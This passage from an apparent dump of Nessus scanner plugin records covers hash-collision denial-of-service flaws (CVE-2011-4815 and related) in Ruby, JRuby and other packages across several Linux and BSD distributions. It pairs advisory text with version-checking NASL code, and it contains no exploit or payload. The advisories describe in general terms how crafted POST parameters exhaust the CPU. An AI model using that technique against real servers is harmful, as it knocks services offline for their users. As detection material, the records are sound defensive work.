\"CVE-2011-5036\", \"CVE-2011-5037\");\n\n script_name(english:\"FreeBSD : Multiple implementations -- DoS via hash algorithm collision (91be81e7-3fea-11e1-afc7-2c4138874f7d)\");\n script_summary(english:\"Checks for updated packages in pkg_info output\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote FreeBSD host is missing one or more security-related\nupdates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"oCERT reports :\n\nA variety of programming languages suffer from a denial-of-service\n(DoS) condition against storage functions of key/value pairs in hash\ndata structures, the condition can be leveraged by exploiting\npredictable collisions in the underlying hashing algorithms.\n\nThe issue finds particular exposure in web server applications and/or\nframeworks. In particular, the lack of sufficient limits for the\nnumber of parameters in POST requests in conjunction with the\npredictable collision properties in the hashing functions of the\nunderlying languages can render web applications vulnerable to the DoS\ncondition. The attacker, using specially crafted HTTP requests, can\nlead to a 100% of CPU usage which can last up to several hours\ndepending on the targeted application and server performance, the\namplification effect is considerable and requires little bandwidth and\ntime on the attacker side.\n\nThe condition for predictable collisions in the hashing functions has\nbeen reported for the following language implementations : Java,\nJRuby, PHP, Python, Rubinius, Ruby. In the case of the Ruby language,\nthe 1.9.x branch is not affected by the predictable collision\ncondition since this version includes a randomization of the hashing\nfunction.\n\nThe vulnerability outlined in this advisory is practically identical\nto the one reported in 2003 and described in the paper Denial of\nService via Algorithmic Complexity Attacks which affected the Perl\nlanguage.\"\n );\n # http://www.ocert.org/advisories/ocert-2011-003.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://ocert.org/advisories/ocert-2011-003.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nruns.com/_downloads/advisory28122011.pdf\"\n );\n # https://vuxml.freebsd.org/freebsd/91be81e7-3fea-11e1-afc7-2c4138874f7d.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?64765f40\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:freebsd:freebsd:jruby\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:freebsd:freebsd:node\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:freebsd:freebsd:redis\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:freebsd:freebsd:ruby\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:freebsd:freebsd:ruby+nopthreads\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:freebsd:freebsd:ruby+nopthreads+oniguruma\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:freebsd:freebsd:ruby+oniguruma\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:freebsd:freebsd:rubygem-rack\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:freebsd:freebsd:v8\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:freebsd:freebsd\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2011/12/28\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2012/01/16\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2012/01/16\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2012-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"FreeBSD Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/FreeBSD/release\", \"Host/FreeBSD/pkg_info\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"freebsd_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/FreeBSD/release\")) audit(AUDIT_OS_NOT, \"FreeBSD\");\nif (!get_kb_item(\"Host/FreeBSD/pkg_info\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\n\nif (pkg_test(save_report:TRUE, pkg:\"jruby<1.6.5.1\")) flag++;\nif (pkg_test(save_report:TRUE, pkg:\"ruby<1.8.7.357,1\")) flag++;\nif (pkg_test(save_report:TRUE, pkg:\"ruby+nopthreads<1.8.7.357,1\")) flag++;\nif (pkg_test(save_report:TRUE, pkg:\"ruby+nopthreads+oniguruma<1.8.7.357,1\")) flag++;\nif (pkg_test(save_report:TRUE, pkg:\"ruby+oniguruma<1.8.7.357,1\")) flag++;\nif (pkg_test(save_report:TRUE, pkg:\"rubygem-rack<1.3.6,3\")) flag++;\nif (pkg_test(save_report:TRUE, pkg:\"v8<3.8.5\")) flag++;\nif (pkg_test(save_report:TRUE, pkg:\"redis<=2.4.6\")) flag++;\nif (pkg_test(save_report:TRUE, pkg:\"node<0.6.7\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:pkg_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2021-01-07T10:54:23", "description": "The remote host is affected by the vulnerability described in GLSA-201207-06\n(JRuby: Denial of Service)\n\n JRuby does not properly randomize hash functions to protect against hash\n collision attacks.\n \nImpact :\n\n A remote attacker could send a specially crafted input, possibly\n resulting in a Denial of Service condition.\n \nWorkaround :\n\n There is no known workaround at this time.", "edition": 21, "published": "2012-07-10T00:00:00", "title": "GLSA-201207-06 : JRuby: Denial of Service", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4838"], "modified": "2012-07-10T00:00:00", "cpe": ["p-cpe:/a:gentoo:linux:jruby", "cpe:/o:gentoo:linux"], "id": "GENTOO_GLSA-201207-06.NASL", "href": "https://www.tenable.com/plugins/nessus/59898", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Gentoo Linux Security Advisory GLSA 201207-06.\n#\n# The advisory text is Copyright (C) 2001-2015 Gentoo Foundation, Inc.\n# and licensed under the Creative Commons - Attribution / Share Alike \n# license. See http://creativecommons.org/licenses/by-sa/3.0/\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(59898);\n script_version(\"1.8\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\"CVE-2011-4838\");\n script_bugtraq_id(51233);\n script_xref(name:\"GLSA\", value:\"201207-06\");\n\n script_name(english:\"GLSA-201207-06 : JRuby: Denial of Service\");\n script_summary(english:\"Checks for updated package(s) in /var/db/pkg\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote Gentoo host is missing one or more security-related\npatches.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"The remote host is affected by the vulnerability described in GLSA-201207-06\n(JRuby: Denial of Service)\n\n JRuby does not properly randomize hash functions to protect against hash\n collision attacks.\n \nImpact :\n\n A remote attacker could send a specially crafted input, possibly\n resulting in a Denial of Service condition.\n \nWorkaround :\n\n There is no known workaround at this time.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security.gentoo.org/glsa/201207-06\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"All JRuby users should upgrade to the latest version:\n # emerge --sync\n # emerge --ask --oneshot --verbose '>=dev-java/jruby-1.6.5.1'\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:gentoo:linux:jruby\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:gentoo:linux\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2012/07/09\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2012/07/10\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2012-2021 Tenable Network Security, Inc.\");\n script_family(english:\"Gentoo Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Gentoo/release\", \"Host/Gentoo/qpkg-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"qpkg.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Gentoo/release\")) audit(AUDIT_OS_NOT, \"Gentoo\");\nif (!get_kb_item(\"Host/Gentoo/qpkg-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\n\nif (qpkg_check(package:\"dev-java/jruby\", unaffected:make_list(\"ge 1.6.5.1\"), vulnerable:make_list(\"lt 1.6.5.1\"))) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:qpkg_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = qpkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"JRuby\");\n}\n", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2021-01-17T12:46:38", "description": "From Red Hat Security Advisory 2012:0069 :\n\nUpdated ruby packages that fix one security issue are now available\nfor Red Hat Enterprise Linux 6.\n\nThe Red Hat Security Response Team has rated this update as having\nmoderate security impact. A Common Vulnerability Scoring System (CVSS)\nbase score, which gives a detailed severity rating, is available from\nthe CVE link in the References section.\n\nRuby is an extensible, interpreted, object-oriented, scripting\nlanguage. It has features to process text files and to do system\nmanagement tasks.\n\nA denial of service flaw was found in the implementation of\nassociative arrays (hashes) in Ruby. An attacker able to supply a\nlarge number of inputs to a Ruby application (such as HTTP POST\nrequest parameters sent to a web application) that are used as keys\nwhen inserting data into an array could trigger multiple hash function\ncollisions, making array operations take an excessive amount of CPU\ntime. To mitigate this issue, randomization has been added to the hash\nfunction to reduce the chance of an attacker successfully causing\nintentional collisions. (CVE-2011-4815)\n\nRed Hat would like to thank oCERT for reporting this issue. oCERT\nacknowledges Julian Walde and Alexander Klink as the original\nreporters.\n\nAll users of ruby are advised to upgrade to these updated packages,\nwhich contain a backported patch to resolve this issue.", "edition": 21, "published": "2013-07-12T00:00:00", "title": "Oracle Linux 6 : ruby (ELSA-2012-0069)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4815"], "modified": "2013-07-12T00:00:00", "cpe": ["cpe:/o:oracle:linux:6", "p-cpe:/a:oracle:linux:ruby-static", "p-cpe:/a:oracle:linux:ruby-irb", "p-cpe:/a:oracle:linux:ruby-ri", "p-cpe:/a:oracle:linux:ruby-devel", "p-cpe:/a:oracle:linux:ruby", "p-cpe:/a:oracle:linux:ruby-docs", "p-cpe:/a:oracle:linux:ruby-tcltk", "p-cpe:/a:oracle:linux:ruby-libs", "p-cpe:/a:oracle:linux:ruby-rdoc"], "id": "ORACLELINUX_ELSA-2012-0069.NASL", "href": "https://www.tenable.com/plugins/nessus/68440", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Red Hat Security Advisory RHSA-2012:0069 and \n# Oracle Linux Security Advisory ELSA-2012-0069 respectively.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(68440);\n script_version(\"1.9\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/14\");\n\n script_cve_id(\"CVE-2011-4815\");\n script_bugtraq_id(51198);\n script_xref(name:\"RHSA\", value:\"2012:0069\");\n\n script_name(english:\"Oracle Linux 6 : ruby (ELSA-2012-0069)\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Oracle Linux host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"From Red Hat Security Advisory 2012:0069 :\n\nUpdated ruby packages that fix one security issue are now available\nfor Red Hat Enterprise Linux 6.\n\nThe Red Hat Security Response Team has rated this update as having\nmoderate security impact. A Common Vulnerability Scoring System (CVSS)\nbase score, which gives a detailed severity rating, is available from\nthe CVE link in the References section.\n\nRuby is an extensible, interpreted, object-oriented, scripting\nlanguage. It has features to process text files and to do system\nmanagement tasks.\n\nA denial of service flaw was found in the implementation of\nassociative arrays (hashes) in Ruby. An attacker able to supply a\nlarge number of inputs to a Ruby application (such as HTTP POST\nrequest parameters sent to a web application) that are used as keys\nwhen inserting data into an array could trigger multiple hash function\ncollisions, making array operations take an excessive amount of CPU\ntime. To mitigate this issue, randomization has been added to the hash\nfunction to reduce the chance of an attacker successfully causing\nintentional collisions. (CVE-2011-4815)\n\nRed Hat would like to thank oCERT for reporting this issue. oCERT\nacknowledges Julian Walde and Alexander Klink as the original\nreporters.\n\nAll users of ruby are advised to upgrade to these updated packages,\nwhich contain a backported patch to resolve this issue.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://oss.oracle.com/pipermail/el-errata/2012-January/002577.html\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected ruby packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:ruby\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:ruby-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:ruby-docs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:ruby-irb\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:ruby-libs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:ruby-rdoc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:ruby-ri\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:ruby-static\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:ruby-tcltk\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:oracle:linux:6\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2011/12/29\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2012/01/31\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2013/07/12\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2013-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Oracle Linux Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/OracleLinux\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/OracleLinux\")) audit(AUDIT_OS_NOT, \"Oracle Linux\");\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || !pregmatch(pattern: \"Oracle (?:Linux Server|Enterprise Linux)\", string:release)) audit(AUDIT_OS_NOT, \"Oracle Linux\");\nos_ver = pregmatch(pattern: \"Oracle (?:Linux Server|Enterprise Linux) .*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Oracle Linux\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^6([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Oracle Linux 6\", \"Oracle Linux \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Oracle Linux\", cpu);\n\nflag = 0;\nif (rpm_check(release:\"EL6\", reference:\"ruby-1.8.7.352-4.el6_2\")) flag++;\nif (rpm_check(release:\"EL6\", reference:\"ruby-devel-1.8.7.352-4.el6_2\")) flag++;\nif (rpm_check(release:\"EL6\", reference:\"ruby-docs-1.8.7.352-4.el6_2\")) flag++;\nif (rpm_check(release:\"EL6\", reference:\"ruby-irb-1.8.7.352-4.el6_2\")) flag++;\nif (rpm_check(release:\"EL6\", reference:\"ruby-libs-1.8.7.352-4.el6_2\")) flag++;\nif (rpm_check(release:\"EL6\", reference:\"ruby-rdoc-1.8.7.352-4.el6_2\")) flag++;\nif (rpm_check(release:\"EL6\", reference:\"ruby-ri-1.8.7.352-4.el6_2\")) flag++;\nif (rpm_check(release:\"EL6\", reference:\"ruby-static-1.8.7.352-4.el6_2\")) flag++;\nif (rpm_check(release:\"EL6\", reference:\"ruby-tcltk-1.8.7.352-4.el6_2\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"ruby / ruby-devel / ruby-docs / ruby-irb / ruby-libs / ruby-rdoc / etc\");\n}\n", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2021-01-07T11:53:35", "description": "A vulnerability has been found and corrected in ruby :\n\nRuby (aka CRuby) before 1.8.7-p357 computes hash values without\nrestricting the ability to trigger hash collisions predictably, which\nallows context-dependent attackers to cause a denial of service (CPU\nconsumption) via crafted input to an application that maintains a hash\ntable (CVE-2011-4815).\n\nThe updated packages have been patched to correct this issue.", "edition": 25, "published": "2012-02-29T00:00:00", "title": "Mandriva Linux Security Advisory : ruby (MDVSA-2012:024)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4815"], "modified": "2012-02-29T00:00:00", "cpe": ["cpe:/o:mandriva:linux:2011", "p-cpe:/a:mandriva:linux:ruby", "p-cpe:/a:mandriva:linux:ruby-doc", "cpe:/o:mandriva:linux:2010.1", "p-cpe:/a:mandriva:linux:ruby-tk", "p-cpe:/a:mandriva:linux:ruby-devel"], "id": "MANDRIVA_MDVSA-2012-024.NASL", "href": "https://www.tenable.com/plugins/nessus/58163", "sourceData": "#%NASL_MIN_LEVEL 70300\n\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Mandriva Linux Security Advisory MDVSA-2012:024. \n# The text itself is copyright (C) Mandriva S.A.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(58163);\n script_version(\"1.10\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\"CVE-2011-4815\");\n script_bugtraq_id(51198);\n script_xref(name:\"MDVSA\", value:\"2012:024\");\n\n script_name(english:\"Mandriva Linux Security Advisory : ruby (MDVSA-2012:024)\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote Mandriva Linux host is missing one or more security\nupdates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"A vulnerability has been found and corrected in ruby :\n\nRuby (aka CRuby) before 1.8.7-p357 computes hash values without\nrestricting the ability to trigger hash collisions predictably, which\nallows context-dependent attackers to cause a denial of service (CPU\nconsumption) via crafted input to an application that maintains a hash\ntable (CVE-2011-4815).\n\nThe updated packages have been patched to correct this issue.\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:ruby\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:ruby-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:ruby-doc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:ruby-tk\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:mandriva:linux:2010.1\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:mandriva:linux:2011\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2012/02/28\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2012/02/29\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2012-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Mandriva Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/Mandrake/release\", \"Host/Mandrake/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Mandrake/release\")) audit(AUDIT_OS_NOT, \"Mandriva / Mandake Linux\");\nif (!get_kb_item(\"Host/Mandrake/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu !~ \"^(amd64|i[3-6]86|x86_64)$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Mandriva / Mandrake Linux\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"MDK2010.1\", reference:\"ruby-1.8.7.p249-4.2mdv2010.2\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"ruby-devel-1.8.7.p249-4.2mdv2010.2\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"ruby-doc-1.8.7.p249-4.2mdv2010.2\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.1\", reference:\"ruby-tk-1.8.7.p249-4.2mdv2010.2\", yank:\"mdv\")) flag++;\n\nif (rpm_check(release:\"MDK2011\", reference:\"ruby-1.8.7.p334-4.1-mdv2011.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2011\", reference:\"ruby-devel-1.8.7.p334-4.1-mdv2011.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2011\", reference:\"ruby-doc-1.8.7.p334-4.1-mdv2011.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2011\", reference:\"ruby-tk-1.8.7.p334-4.1-mdv2011.0\", yank:\"mdv\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2021-01-12T10:09:24", "description": "A security flaw was found on the previous ruby that with some series\nof strings which was specially crafted to intentionally collide their\nhash values with each other, rails applications may fall into denial\nof services when such strings are used in HTTP requests\n(CVE-2011-4815). This new ruby will fix this issue.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.", "edition": 24, "published": "2012-01-11T00:00:00", "title": "Fedora 15 : ruby-1.8.7.357-1.fc15 (2011-17551)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4815"], "modified": "2012-01-11T00:00:00", "cpe": ["p-cpe:/a:fedoraproject:fedora:ruby", "cpe:/o:fedoraproject:fedora:15"], "id": "FEDORA_2011-17551.NASL", "href": "https://www.tenable.com/plugins/nessus/57478", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory 2011-17551.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(57478);\n script_version(\"1.10\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2011-4815\");\n script_bugtraq_id(51198);\n script_xref(name:\"FEDORA\", value:\"2011-17551\");\n\n script_name(english:\"Fedora 15 : ruby-1.8.7.357-1.fc15 (2011-17551)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"A security flaw was found on the previous ruby that with some series\nof strings which was specially crafted to intentionally collide their\nhash values with each other, rails applications may fall into denial\nof services when such strings are used in HTTP requests\n(CVE-2011-4815). This new ruby will fix this issue.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=750564\"\n );\n # https://lists.fedoraproject.org/pipermail/package-announce/2012-January/071794.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?291d3016\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected ruby package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"false\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:ruby\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:15\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2011/12/30\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2012/01/11\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2012-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = eregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! ereg(pattern:\"^15([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 15.x\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\nflag = 0;\nif (rpm_check(release:\"FC15\", reference:\"ruby-1.8.7.357-1.fc15\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = 